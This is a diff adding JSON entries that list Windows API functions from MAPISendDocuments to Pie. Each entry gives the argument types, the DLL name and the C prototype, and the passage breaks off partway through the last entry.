+ { + "function_name": "MAPISendDocuments", + "arguments": [ + "ULONG", + "LPTSTR", + "LPTSTR", + "LPTSTR", + "ULONG" + ], + "dll_name": "mapi32.dll", + "full_prototype": "ULONG FAR PASCAL MAPISendDocuments(ULONG ulUIParam, LPTSTR lpszDelimChar, LPTSTR lpszFullPaths, LPTSTR lpszFileNames, ULONG ulReserved);" + }, + { + "function_name": "MapViewOfFile", + "arguments": [ + "HANDLE", + "DWORD", + "DWORD", + "DWORD", + "DWORD" + ], + "dll_name": "kernel32.dll", + "full_prototype": "LPVOID MapViewOfFile(HANDLE hFileMappingObject, DWORD dwDesiredAccess, DWORD dwFileOffsetHigh, DWORD dwFileOffsetLow,DWORD dwNumberOfBytesToMap);" + }, + { + "function_name": "MapViewOfFileEx", + "arguments": [ + "HANDLE", + "DWORD", + "DWORD", + "DWORD", + "DWORD", + "LPVOID" + ], + "dll_name": "kernel32.dll", + "full_prototype": "LPVOID MapViewOfFileEx(HANDLE hFileMappingObject,DWORD dwDesiredAccess, DWORD dwFileOffsetHigh, DWORD dwFileOffsetLow, DWORD dwNumberOfBytesToMap, LPVOID lpBaseAddress);" + }, + { + "function_name": "MapVirtualKeyA", + "arguments": [ + "UINT", + "UINT" + ], + "dll_name": "user32.dll", + "full_prototype": "UINT MapVirtualKeyA(UINT uCode, UINT uMapType);" + }, + { + "function_name": "MapVirtualKeyExA", + "arguments": [ + "UINT", + "UINT", + "HKL" + ], + "dll_name": "user32.dll", + "full_prototype": "UINT MapVirtualKeyExA(UINT uCode, UINT uMapType, HKL dwhkl);" + }, + { + "function_name": "MapVirtualKeyExW", + "arguments": [ + "UINT", + "UINT", + "HKL" + ], + "dll_name": "user32.dll", + "full_prototype": "UINT MapVirtualKeyExW(UINT uCode, UINT uMapType, HKL dwhkl);" + }, + { + "function_name": "MapVirtualKeyW", + "arguments": [ + "UINT", + "UINT" + ], + "dll_name": "user32.dll", + "full_prototype": "UINT MapVirtualKeyW(UINT uCode, UINT uMapType);" + }, + { + "function_name": "MapWindowPoints", + "arguments": [ + "HWND", + "HWND", + "LPPOINT", + "UINT" + ], + "dll_name": "user32.dll", + "full_prototype": "int MapWindowPoints(HWND hWndFrom, HWND hWndTo, LPPOINT lpPoints, UINT cPoints);" + }, + { + "function_name": "MaskBlt", + "arguments": [ + "HDC", + "int", + "int", + "int", + "int", + "HDC", + "int", + "int", + "HBITMAP", + "int", + "int", + "DWORD" + ], + "dll_name": "gdi32.dll", + "full_prototype": "BOOL MaskBlt(HDC hdcDest, int nXDest, int nYDest, int nWidth,int nHeight, HDC hdcSrc, int nXSrc, int nYSrc, HBITMAP hbmMask, int xMask, int yMask, DWORD dwRop);" + }, + { + "function_name": "mciSendStringA", + "arguments": [ + "LPCTSTR", + "LPTSTR", + "UINT", + "HANDLE" + ], + "dll_name": "winmm.dll", + "full_prototype": "MCIERROR mciSendStringA(LPCTSTR lpszCommand, LPTSTR lpszReturnString, UINT cchReturn, HANDLE hwndCallback);" + }, + { + "function_name": "MenuItemFromPoint", + "arguments": [ + "HWND", + "HMENU", + "POINT" + ], + "dll_name": "user32.dll", + "full_prototype": "UINT MenuItemFromPoint(HWND hWnd, HMENU hMenu, POINT ptScreen);" + }, + { + "function_name": "MessageBeep", + "arguments": [ + "UINT" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL MessageBeep(UINT uType);" + }, + { + "function_name": "MessageBoxA", + "arguments": [ + "HWND", + "LPCTSTR", + "LPCTSTR", + "UINT" + ], + "dll_name": "user32.dll", + "full_prototype": "int MessageBoxA(HWND hWnd, LPCTSTR lpText,LPCTSTR lpCaption,UINT uType);" + }, + { + "function_name": "MessageBoxExA", + "arguments": [ + "HWND", + "LPCTSTR", + "LPCTSTR", + "UINT", + "WORD" + ], + "dll_name": "user32.dll", + "full_prototype": "int MessageBoxExA(HWND hWnd, LPCTSTR lpText, LPCTSTR lpCaption, UINT uType, WORD wLanguageId);" + }, + { + "function_name": "MessageBoxExW", + "arguments": [ + "HWND", + "LPCWSTR", + "LPCWSTR", + "UINT", + "WORD" + ], + "dll_name": "user32.dll", + "full_prototype": "int MessageBoxExW(HWND hWnd, LPCWSTR lpText, LPCWSTR lpCaption, UINT uType, WORD wLanguageId);" + }, + { + "function_name": "MessageBoxIndirectA", + "arguments": [ + "LPMSGBOXPARAMS" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL MessageBoxIndirectA(LPMSGBOXPARAMS lpMsgBoxParams);" + }, + { + "function_name": "MessageBoxIndirectW", + "arguments": [ + "MSGBOXPARAMSW" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL MessageBoxIndirectW(MSGBOXPARAMSW lpMsgBoxParams);" + }, + { + "function_name": "MessageBoxW", + "arguments": [ + "HWND", + "LPCWSTR", + "LPCWSTR", + "UINT" + ], + "dll_name": "user32.dll", + "full_prototype": "int MessageBoxW(HWND hWnd, LPCWSTR lpText,LPCWSTR lpCaption, UINT uType);" + }, + { + "function_name": "ModifyMenuA", + "arguments": [ + "HMENU", + "UINT", + "UINT", + "UINT", + "LPCTSTR" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL ModifyMenuA(HMENU hMnu, UINT uPosition, UINT uFlags, UINT uIDNewItem, LPCTSTR lpNewItem);" + }, + { + "function_name": "ModifyMenuW", + "arguments": [ + "HMENU", + "UINT", + "UINT", + "UINT", + "LPCWSTR" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL ModifyMenuW(HMENU hMnu, UINT uPosition, UINT uFlags, UINT uIDNewItem, LPCWSTR lpNewItem);" + }, + { + "function_name": "ModifyWorldTransform", + "arguments": [ + "HDC", + "CONST XFORM *", + "DWORD" + ], + "dll_name": "gdi32.dll", + "full_prototype": "BOOL ModifyWorldTransform(HDC hdc,CONST XFORM * lpXform, DWORD iMode);" + }, + { + "function_name": "mouse_event", + "arguments": [ + "DWORD", + "DWORD", + "DWORD", + "DWORD", + "DWORD" + ], + "dll_name": "user32.dll", + "full_prototype": "VOID mouse_event(DWORD dwFlags, DWORD dx,DWORD dy, DWORD cButtons,DWORD dwExtraInfo);" + }, + { + "function_name": "MoveFileA", + "arguments": [ + "LPCTSTR", + "LPCTSTR" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL MoveFileA(LPCTSTR lpExistingFileName,LPCTSTR lpNewFileName);" + }, + { + "function_name": "MoveFileExA", + "arguments": [ + "LPCTSTR", + "LPCTSTR", + "DWORD" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL MoveFileExA(LPCTSTR lpExistingFileName, LPCTSTR lpNewFileName, DWORD dwFlags);" + }, + { + "function_name": "MoveFileExW", + "arguments": [ + "LPCWSTR", + "LPCWSTR", + "DWORD" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL MoveFileExW(LPCWSTR source, LPCWSTR dest, DWORD flag);" + }, + { + "function_name": "MoveFileW", + "arguments": [ + "LPCWSTR", + "LPCWSTR" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL MoveFileW(LPCWSTR lpExistingFileName, LPCWSTR lpNewFileName);" + }, + { + "function_name": "MoveToEx", + "arguments": [ + "HDC", + "int", + "int", + "LPPOINT" + ], + "dll_name": "gdi32.dll", + "full_prototype": "BOOL MoveToEx(HDC hdc, int X, int Y, LPPOINT lpPoint);" + }, + { + "function_name": "MoveWindow", + "arguments": [ + "HWND", + "int", + "int", + "int", + "int", + "BOOL" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL MoveWindow(HWND hWnd,int X,int Y,int nWidth, int nHeight, BOOL bRepaint);" + }, + { + "function_name": "MsgWaitForMultipleObjects", + "arguments": [ + "DWORD", + "LPHANDLE", + "BOOL", + "DWORD", + "DWORD" + ], + "dll_name": "user32.dll", + "full_prototype": "DWORD MsgWaitForMultipleObjects(DWORD nCount, LPHANDLE pHandles, BOOL fWaitAll, DWORD dwMilliseconds, DWORD dwWakeMask);" + }, + { + "function_name": "MsgWaitForMultipleObjectsEx", + "arguments": [ + "DWORD", + "const HANDLE", + "DWORD", + "DWORD", + "DWORD" + ], + "dll_name": "user32.dll", + "full_prototype": "DWORD MsgWaitForMultipleObjectsEx(DWORD nCount, const HANDLE *pHandles, DWORD dwMilliseconds, DWORD dwWakeMask, DWORD dwFlags);" + }, + { + "function_name": "MulDiv", + "arguments": [ + "int", + "int", + "int" + ], + "dll_name": "kernel32.dll", + "full_prototype": "int MulDiv(int nNumber, int nNumerator, int nDenominator);" + }, + { + "function_name": "MultiByteToWideChar", + "arguments": [ + "UINT", + "DWORD", + "LPCSTR", + "int", + "LPWSTR", + "int" + ], + "dll_name": "kernel32.dll", + "full_prototype": "int MultiByteToWideChar(UINT CodePage,DWORD dwFlags, LPCSTR lpMultiByteStr,int cchMultiByte, LPWSTR lpWideCharStr, int cchWideChar);" + }, + { + "function_name": "MultinetGetConnectionPerformanceA", + "arguments": [ + "LPNETRESOURCE", + "LPNETCONNECTINFOSTRUCT" + ], + "dll_name": "mpr.dll", + "full_prototype": "DWORD MultinetGetConnectionPerformanceA(LPNETRESOURCE lpNetResource, LPNETCONNECTINFOSTRUCT lpNetConnectInfoStruct);" + }, + { + "function_name": "MultinetGetConnectionPerformanceW", + "arguments": [ + "LPNETRESOURCEW", + "LPNETCONNECTINFOSTRUCT" + ], + "dll_name": "mpr.dll", + "full_prototype": "DWORD MultinetGetConnectionPerformanceW(LPNETRESOURCEW lpNetResource, LPNETCONNECTINFOSTRUCT lpNetConnectInfoStruct);" + }, + { + "function_name": "NotifyChangeEventLog", + "arguments": [ + "HANDLE", + "HANDLE" + ], + "dll_name": "advapi32.dll", + "full_prototype": "BOOL NotifyChangeEventLog( HANDLE hEventLog, HANDLE hEvent );" + }, + { + "function_name": "ObjectCloseAuditAlarmA", + "arguments": [ + "LPCTSTR", + "LPVOID", + "BOOL" + ], + "dll_name": "advapi32.dll", + "full_prototype": "BOOL ObjectCloseAuditAlarmA( LPCTSTR SubsystemName, LPVOID HandleId, BOOL GenerateOnClose );" + }, + { + "function_name": "ObjectCloseAuditAlarmW", + "arguments": [ + "LPCWSTR", + "LPVOID", + "BOOL" + ], + "dll_name": "advapi32.dll", + "full_prototype": "BOOL ObjectCloseAuditAlarmW(LPCWSTR SubsystemName, LPVOID HandleId, BOOL GenerateOnClose);" + }, + { + "function_name": "ObjectDeleteAuditAlarmA", + "arguments": [ + "LPCSTR", + "LPVOID", + "BOOL" + ], + "dll_name": "advapi32.dll", + "full_prototype": "BOOL ObjectDeleteAuditAlarmA(LPCSTR SubsystemName, LPVOID HandleId, BOOL GenerateOnClose);" + }, + { + "function_name": "ObjectDeleteAuditAlarmW", + "arguments": [ + "LPCWSTR", + "LPVOID", + "BOOL" + ], + "dll_name": "advapi32.dll", + "full_prototype": "BOOL ObjectDeleteAuditAlarmW(LPCWSTR SubsystemName,LPVOID HandleId,BOOL GenerateOnClose);" + }, + { + "function_name": "ObjectOpenAuditAlarmA", + "arguments": [ + "LPCTSTR", + "LPVOID", + "LPTSTR", + "LPTSTR", + "PSECURITY_DESCRIPTOR", + "HANDLE", + "DWORD", + "DWORD", + "PPRIVILEGE_SET", + "BOOL", + "BOOL", + "LPBOOL" + ], + "dll_name": "advapi32.dll", + "full_prototype": "BOOL ObjectOpenAuditAlarmA( LPCTSTR SubsystemName, LPVOID HandleId, LPTSTR ObjectTypeName, LPTSTR ObjectName, PSECURITY_DESCRIPTOR pSecurityDescriptor, HANDLE ClientToken, DWORD DesiredAccess, DWORD GrantedAccess, PPRIVILEGE_SET Privileges, BOOL ObjectCreation, BOOL AccessGranted, LPBOOL GenerateOnClose );" + }, + { + "function_name": "ObjectOpenAuditAlarmW", + "arguments": [ + "LPCWSTR", + "LPVOID", + "LPWSTR", + "LPWSTR", + "PSECURITY_DESCRIPTOR", + "HANDLE", + "DWORD", + "DWORD", + "PPRIVILEGE_SET", + "BOOL", + "BOOL", + "LPBOOL" + ], + "dll_name": "advapi32.dll", + "full_prototype": "BOOL ObjectOpenAuditAlarmW(LPCWSTR SubsystemName,LPVOID HandleId,LPWSTR ObjectTypeName,LPWSTR ObjectName,PSECURITY_DESCRIPTOR pSecurityDescriptor,HANDLE ClientToken,DWORD DesiredAccess,DWORD GrantedAccess,PPRIVILEGE_SET Privileges,BOOL ObjectCreation,BOOL AccessGranted,LPBOOL GenerateOnClose);" + }, + { + "function_name": "ObjectPrivilegeAuditAlarmA", + "arguments": [ + "LPCTSTR", + "LPVOID", + "HANDLE", + "DWORD", + "PPRIVILEGE_SET", + "BOOL" + ], + "dll_name": "advapi32.dll", + "full_prototype": "BOOL ObjectPrivilegeAuditAlarmA( LPCTSTR lpszSubsystem, LPVOID lpvHandleId, HANDLE hClientToken, DWORD dwDesiredAccess, PPRIVILEGE_SET pps, BOOL fAccessGranted );" + }, + { + "function_name": "ObjectPrivilegeAuditAlarmW", + "arguments": [ + "LPCWSTR", + "LPVOID", + "HANDLE", + "DWORD", + "PPRIVILEGE_SET", + "BOOL" + ], + "dll_name": "advapi32.dll", + "full_prototype": "BOOL ObjectPrivilegeAuditAlarmW( LPCWSTR SubsystemName,LPVOID HandleId,HANDLE ClientToken,DWORD DesiredAccess,PPRIVILEGE_SET Privileges,BOOL AccessGranted);" + }, + { + "function_name": "OemKeyScan", + "arguments": [ + "WORD" + ], + "dll_name": "user32.dll", + "full_prototype": "DWORD OemKeyScan(WORD wOemChar);" + }, + { + "function_name": "OemToCharA", + "arguments": [ + "LPCSTR", + "LPTSTR" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL OemToCharA(LPCSTR lpszOemStr, LPTSTR lpszStr);" + }, + { + "function_name": "OemToCharBuffA", + "arguments": [ + "LPCSTR", + "LPTSTR", + "DWORD" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL OemToCharBuffA(LPCSTR lpOemStr, LPTSTR lpszStr, DWORD cchString);" + }, + { + "function_name": "OemToCharBuffW", + "arguments": [ + "LPCSTR", + "LPWSTR", + "DWORD" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL OemToCharBuffW(LPCSTR lpOemStr, LPWSTR lpszStr, DWORD cchString);" + }, + { + "function_name": "OemToCharW", + "arguments": [ + "LPCSTR", + "LPWSTR" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL OemToCharW(LPCSTR lpszOemStr, LPWSTR lpszStr);" + }, + { + "function_name": "OffsetClipRgn", + "arguments": [ + "HDC", + "int", + "int" + ], + "dll_name": "gdi32.dll", + "full_prototype": "int OffsetClipRgn(HDC hdc,int nXOffset, int nYOffset);" + }, + { + "function_name": "OffsetRect", + "arguments": [ + "LPRECT", + "int", + "int" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL OffsetRect(LPRECT lprc, int x, int y);" + }, + { + "function_name": "OffsetRgn", + "arguments": [ + "HRGN", + "int", + "int" + ], + "dll_name": "gdi32.dll", + "full_prototype": "int OffsetRgn(HRGN hrgn, int nXOffset, int nYOffset);" + }, + { + "function_name": "OffsetViewportOrgEx", + "arguments": [ + "HDC", + "int", + "int", + "LPPOINT" + ], + "dll_name": "gdi32.dll", + "full_prototype": "BOOL OffsetViewportOrgEx(HDC hdc,int nXOffset, int nYOffset, LPPOINT lpPoint);" + }, + { + "function_name": "OffsetWindowOrgEx", + "arguments": [ + "HDC", + "int", + "int", + "LPPOINT" + ], + "dll_name": "gdi32.dll", + "full_prototype": "BOOL OffsetWindowOrgEx(HDC hdc, int nXOffset, int nYOffset, LPPOINT lpPoint);" + }, + { + "function_name": "OpenBackupEventLogA", + "arguments": [ + "LPCTSTR", + "LPCTSTR" + ], + "dll_name": "advapi32.dll", + "full_prototype": "HANDLE OpenBackupEventLogA( LPCTSTR lpszUNCServerName, LPCTSTR lpszFileName );" + }, + { + "function_name": "OpenBackupEventLogW", + "arguments": [ + "LPCWSTR", + "LPCWSTR" + ], + "dll_name": "advapi32.dll", + "full_prototype": "HANDLE OpenBackupEventLogW( LPCWSTR lpUNCServerName, LPCWSTR lpFileName );" + }, + { + "function_name": "OpenClipboard", + "arguments": [ + "HWND" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL OpenClipboard(HWND hwnd);" + }, + { + "function_name": "OpenDesktopA", + "arguments": [ + "LPCTSTR", + "DWORD", + "BOOL", + "DWORD" + ], + "dll_name": "user32.dll", + "full_prototype": "HDESK OpenDesktopA(LPCTSTR lpszDesktopName, DWORD dwFlags, BOOL fInherit, DWORD dwDesiredAccess);" + }, + { + "function_name": "OpenDesktopW", + "arguments": [ + "LPWSTR", + "DWORD", + "BOOL", + "DWORD" + ], + "dll_name": "user32.dll", + "full_prototype": "HDESK OpenDesktopW(LPWSTR lpszDesktopName, DWORD dwFlags, BOOL fInherit, DWORD dwDesiredAccess);" + }, + { + "function_name": "OpenEventA", + "arguments": [ + "DWORD", + "BOOL", + "LPCTSTR" + ], + "dll_name": "kernel32.dll", + "full_prototype": "HANDLE OpenEventA(DWORD fdwAccess, BOOL fInherit,LPCTSTR lpszEventName);" + }, + { + "function_name": "OpenEventW", + "arguments": [ + "DWORD", + "BOOL", + "LPCWSTR" + ], + "dll_name": "kernel32.dll", + "full_prototype": "HANDLE OpenEventW(DWORD dwDesiredAccess, BOOL bInheritHandle, LPCWSTR lpName);" + }, + { + "function_name": "OpenEventLogA", + "arguments": [ + "LPCTSTR", + "LPCTSTR" + ], + "dll_name": "advapi32.dll", + "full_prototype": "HANDLE OpenEventLogA( LPCTSTR lpszUNCServerName, LPCTSTR lpszSourceName );" + }, + { + "function_name": "OpenEventLogW", + "arguments": [ + "LPCWSTR", + "LPCWSTR" + ], + "dll_name": "advapi32.dll", + "full_prototype": "HANDLE OpenEventLogW( LPCWSTR uncname, LPCWSTR source );" + }, + { + "function_name": "OpenFile", + "arguments": [ + "LPCSTR", + "LPOFSTRUCT", + "UINT" + ], + "dll_name": "kernel32.dll", + "full_prototype": "HFILE OpenFile( LPCSTR lpszFile, LPOFSTRUCT lpOpenBuff, UINT fuMode );" + }, + { + "function_name": "OpenFileMappingA", + "arguments": [ + "DWORD", + "BOOL", + "LPCTSTR" + ], + "dll_name": "kernel32.dll", + "full_prototype": "HANDLE OpenFileMappingA(DWORD dwDesiredAccess, BOOL bInheritHandle, LPCTSTR lpName);" + }, + { + "function_name": "OpenFileMappingW", + "arguments": [ + "DWORD", + "BOOL", + "LPCWSTR" + ], + "dll_name": "kernel32.dll", + "full_prototype": "HANDLE OpenFileMappingW(DWORD access, BOOL inherit, LPCWSTR name);" + }, + { + "function_name": "OpenIcon", + "arguments": [ + "HWND" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL OpenIcon(HWND hwnd);" + }, + { + "function_name": "OpenInputDesktop", + "arguments": [ + "DWORD", + "BOOL", + "DWORD" + ], + "dll_name": "user32.dll", + "full_prototype": "HDESK OpenInputDesktop(DWORD dwFlags, BOOL fInherit, DWORD dwDesiredAccess);" + }, + { + "function_name": "OpenMutexA", + "arguments": [ + "DWORD", + "BOOL", + "LPCTSTR" + ], + "dll_name": "kernel32.dll", + "full_prototype": "HANDLE OpenMutexA(DWORD dwDesiredAccess, BOOL bInheritHandle, LPCTSTR lpName);" + }, + { + "function_name": "OpenMutexW", + "arguments": [ + "DWORD", + "BOOL", + "LPCWSTR" + ], + "dll_name": "kernel32.dll", + "full_prototype": "HANDLE OpenMutexW(DWORD dwDesiredAccess, BOOL bInheritHandle, LPCWSTR lpName);" + }, + { + "function_name": "OpenPrinterA", + "arguments": [ + "LPTSTR", + "LPHANDLE", + "LPPRINTER_DEFAULTS" + ], + "dll_name": "winspool.drv", + "full_prototype": "BOOL OpenPrinterA(LPTSTR pPrinterName, LPHANDLE phPrinter, LPPRINTER_DEFAULTS pDefault);" + }, + { + "function_name": "OpenProcess", + "arguments": [ + "DWORD", + "BOOL", + "DWORD" + ], + "dll_name": "kernel32.dll", + "full_prototype": "HANDLE OpenProcess(DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwProcessId);" + }, + { + "function_name": "OpenProcessToken", + "arguments": [ + "HANDLE", + "DWORD", + "PHANDLE" + ], + "dll_name": "advapi32.dll", + "full_prototype": "BOOL OpenProcessToken( HANDLE hProcess, DWORD dwAccessMask, PHANDLE phToken );" + }, + { + "function_name": "OpenSemaphoreA", + "arguments": [ + "DWORD", + "BOOL", + "LPCTSTR" + ], + "dll_name": "kernel32.dll", + "full_prototype": "HANDLE OpenSemaphoreA(DWORD fdwAccess, BOOL fInherit,LPCTSTR lpszSemName);" + }, + { + "function_name": "OpenSemaphoreW", + "arguments": [ + "DWORD", + "BOOL", + "LPCWSTR" + ], + "dll_name": "kernel32.dll", + "full_prototype": "HANDLE OpenSemaphoreW(DWORD dwDesiredAccess, BOOL bInheritHandle, LPCWSTR lpName);" + }, + { + "function_name": "OpenThreadToken", + "arguments": [ + "HANDLE", + "DWORD", + "BOOL", + "PHANDLE" + ], + "dll_name": "advapi32.dll", + "full_prototype": "BOOL OpenThreadToken( HANDLE hThread, DWORD dwAccessMask, BOOL fOpenAsSelf, PHANDLE phToken );" + }, + { + "function_name": "OpenWaitableTimerA", + "arguments": [ + "DWORD", + "BOOL", + "LPCTSTR" + ], + "dll_name": "kernel32.dll", + "full_prototype": "HANDLE OpenWaitableTimerA(DWORD dwDesiredAccess, BOOL bInheritHandle, LPCTSTR lpTimerName);" + }, + { + "function_name": "OpenWaitableTimerW", + "arguments": [ + "DWORD", + "BOOL", + "LPCWSTR" + ], + "dll_name": "kernel32.dll", + "full_prototype": "HANDLE OpenWaitableTimerW(DWORD dwDesiredAccess, BOOL bInheritHandle, LPCWSTR lpTimerName);" + }, + { + "function_name": "OpenWindowStationA", + "arguments": [ + "LPCTSTR", + "BOOL", + "DWORD" + ], + "dll_name": "user32.dll", + "full_prototype": "HWINSTA OpenWindowStationA(LPCTSTR lpszWinStaName,BOOL fInherit, DWORD dwDesiredAccess);" + }, + { + "function_name": "OpenWindowStationW", + "arguments": [ + "LPWSTR", + "BOOL", + "DWORD" + ], + "dll_name": "user32.dll", + "full_prototype": "HWINSTA OpenWindowStationW(LPWSTR lpszWinStaName,BOOL fInherit, DWORD dwDesiredAccess);" + }, + { + "function_name": "OutputDebugStringA", + "arguments": [ + "LPCTSTR" + ], + "dll_name": "kernel32.dll", + "full_prototype": "VOID OutputDebugStringA(LPCTSTR lpszOutputString);" + }, + { + "function_name": "OutputDebugStringW", + "arguments": [ + "LPCWSTR" + ], + "dll_name": "kernel32.dll", + "full_prototype": "VOID OutputDebugStringW(LPCWSTR str);" + }, + { + "function_name": "PackDDElParam", + "arguments": [ + "UINT", + "UINT", + "UINT" + ], + "dll_name": "user32.dll", + "full_prototype": "LONG PackDDElParam(UINT uMsg, UINT uLow, UINT uHigh);" + }, + { + "function_name": "PaintDesktop", + "arguments": [ + "HDC" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL WINAPI PaintDesktop(HDC hdc);" + }, + { + "function_name": "PaintRgn", + "arguments": [ + "HDC", + "HRGN" + ], + "dll_name": "gdi32.dll", + "full_prototype": "BOOL PaintRgn(HDC hdc, HRGN hrgn);" + }, + { + "function_name": "PatBlt", + "arguments": [ + "HDC", + "int", + "int", + "int", + "int", + "DWORD" + ], + "dll_name": "gdi32.dll", + "full_prototype": "BOOL PatBlt(HDC hdc, int nXLeft, int nYLeft, int nWidth, int nHeight, DWORD dwRop);" + }, + { + "function_name": "PathAddBackslashA", + "arguments": [ + "LPSTR" + ], + "dll_name": "shlwapi.dll", + "full_prototype": "LPSTR PathAddBackslashA(LPSTR lpszPath);" + }, + { + "function_name": "PathAddExtension", + "arguments": [ + "LPTSTR", + "LPCTSTR" + ], + "dll_name": "shlwapi.dll", + "full_prototype": "BOOL PathAddExtension(LPTSTR pszPath, LPCTSTR pszExtension);" + }, + { + "function_name": "PathAppendA", + "arguments": [ + "LPSTR", + "LPCSTR" + ], + "dll_name": "shlwapi.dll", + "full_prototype": "BOOL PathAppendA(LPSTR lpszPath, LPCSTR lpszAppend);" + }, + { + "function_name": "PathBuildRootA", + "arguments": [ + "LPSTR", + "int" + ], + "dll_name": "shlwapi.dll", + "full_prototype": "LPSTR PathBuildRootA(LPSTR lpszPath, int drive);" + }, + { + "function_name": "PathCanonicalizeA", + "arguments": [ + "LPSTR", + "LPCSTR" + ], + "dll_name": "shlwapi.dll", + "full_prototype": "BOOL PathCanonicalizeA( LPSTR lpszBuf, LPCSTR lpszPath);" + }, + { + "function_name": "PathCombine", + "arguments": [ + "LPTSTR", + "LPCTSTR", + "LPCTSTR" + ], + "dll_name": "shlwapi.dll", + "full_prototype": "LPTSTR PathCombine(LPTSTR lpszDest, LPCTSTR lpszDir, LPCTSTR lpszFile);" + }, + { + "function_name": "PathCommonPrefix", + "arguments": [ + "LPCTSTR", + "LPCTSTR", + "LPTSTR" + ], + "dll_name": "shlwapi.dll", + "full_prototype": "int PathCommonPrefix(LPCTSTR pszFile1, LPCTSTR pszFile2, LPTSTR pszPath);" + }, + { + "function_name": "PathCompactPathA", + "arguments": [ + "HDC", + "LPSTR", + "UINT" + ], + "dll_name": "shlwapi.dll", + "full_prototype": "BOOL PathCompactPathA( HDC hDC, LPSTR lpszPath, UINT dx);" + }, + { + "function_name": "PathCompactPathExA", + "arguments": [ + "LPSTR", + "LPCSTR", + "UINT", + "DWORD" + ], + "dll_name": "shlwapi.dll", + "full_prototype": "BOOL PathCompactPathExA(LPSTR lpszDest,LPCSTR lpszPath, UINT cchMax, DWORD dwFlags);" + }, + { + "function_name": "PathCreateFromUrlA", + "arguments": [ + "LPCTSTR", + "LPTSTR", + "LPDWORD", + "DWORD" + ], + "dll_name": "shlwapi.dll", + "full_prototype": "HRESULT PathCreateFromUrlA( LPCTSTR pszUrl, LPTSTR pszPath, LPDWORD pcchPath, DWORD dwReserved);" + }, + { + "function_name": "PathFindOnPathA", + "arguments": [ + "LPTSTR", + "LPCTSTR" + ], + "dll_name": "shlwapi.dll", + "full_prototype": "BOOL PathFindOnPathA(LPTSTR pszFile, LPCTSTR *ppszOtherDirs);" + }, + { + "function_name": "PathGetDriveNumberA", + "arguments": [ + "LPCTSTR" + ], + "dll_name": "shlwapi.dll", + "full_prototype": "int PathGetDriveNumberA(LPCTSTR lpsz);" + }, + { + "function_name": "PathIsDirectoryEmptyA", + "arguments": [ + "LPCTSTR" + ], + "dll_name": "shlwapi.dll", + "full_prototype": "BOOL PathIsDirectoryEmptyA(LPCTSTR pszPath);" + }, + { + "function_name": "PathIsSystemFolder", + "arguments": [ + "LPCTSTR", + "DWORD" + ], + "dll_name": "shlwapi.dll", + "full_prototype": "BOOL PathIsSystemFolder(LPCTSTR pszPath, DWORD dwAttrb);" + }, + { + "function_name": "PathIsUNCA", + "arguments": [ + "LPCTSTR" + ], + "dll_name": "shlwapi.dll", + "full_prototype": "BOOL PathIsUNCA(LPCTSTR pszPath);" + }, + { + "function_name": "PathIsUNCServerA", + "arguments": [ + "LPCTSTR" + ], + "dll_name": "shlwapi.dll", + "full_prototype": "BOOL PathIsUNCServerA( LPCTSTR pszPath);" + }, + { + "function_name": "PathIsURLA", + "arguments": [ + "LPCTSTR" + ], + "dll_name": "shlwapi.dll", + "full_prototype": "BOOL PathIsURLA(LPCTSTR pszPath);" + }, + { + "function_name": "PathToRegion", + "arguments": [ + "HDC" + ], + "dll_name": "gdi32.dll", + "full_prototype": "HRGN PathToRegion(HDC hdc);" + }, + { + "function_name": "PathUndecorateA", + "arguments": [ + "LPTSTR" + ], + "dll_name": "shlwapi.dll", + "full_prototype": "void PathUndecorateA(LPTSTR pszPath);" + }, + { + "function_name": "PathUnmakeSystemFolderA", + "arguments": [ + "LPTSTR" + ], + "dll_name": "shlwapi.dll", + "full_prototype": "BOOL PathUnmakeSystemFolderA(LPTSTR pszPath);" + }, + { + "function_name": "PeekConsoleInputA", + "arguments": [ + "HANDLE", + "PINPUT_RECORD", + "DWORD", + "LPDWORD" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL PeekConsoleInputA(HANDLE hConsoleInput, PINPUT_RECORD pirBuffer,DWORD cInRecords, LPDWORD lpcRead);" + }, + { + "function_name": "PeekConsoleInputW", + "arguments": [ + "HANDLE", + "PINPUT_RECORD", + "DWORD", + "PDWORD" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL PeekConsoleInputW(HANDLE hConsoleInput,PINPUT_RECORD pirBuffer,DWORD cInRecords,PDWORD lpcRead);" + }, + { + "function_name": "PeekMessageA", + "arguments": [ + "LPMSG", + "HWND", + "UINT", + "UINT", + "UINT" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL PeekMessageA(LPMSG lpMsg, HWND hWnd, UINT uMsgFilterMin, UINT uMsgFilterMax, UINT wRemoveMsg);" + }, + { + "function_name": "PeekMessageW", + "arguments": [ + "LPMSG", + "HWND", + "UINT", + "UINT", + "UINT" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL PeekMessageW(LPMSG lpMsg, HWND hWnd, UINT uMsgFilterMin, UINT uMsgFilterMax, UINT wRemoveMsg);" + }, + { + "function_name": "PeekNamedPipe", + "arguments": [ + "HANDLE", + "LPVOID", + "DWORD", + "LPDWORD", + "LPDWORD", + "LPDWORD" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL PeekNamedPipe(HANDLE hPipe, LPVOID lpvBuffer, DWORD cbBuffer,LPDWORD lpcbRead, LPDWORD lpcbAvail, LPDWORD lpcbMessage);" + }, + { + "function_name": "Pie", + "arguments": [ + "HDC", + "int", + "int", + "int", + "int", + "int", + "int", + "int", + "int" + ], + "dll_name": "gdi32.dll", + "full_prototype": "BOOL Pie(HDC hdc, int nLeftRect, int nTopRect, int nRightRect, int nBottomRect, int nXRadial1, int nYRadial1, int nXRadial2,int 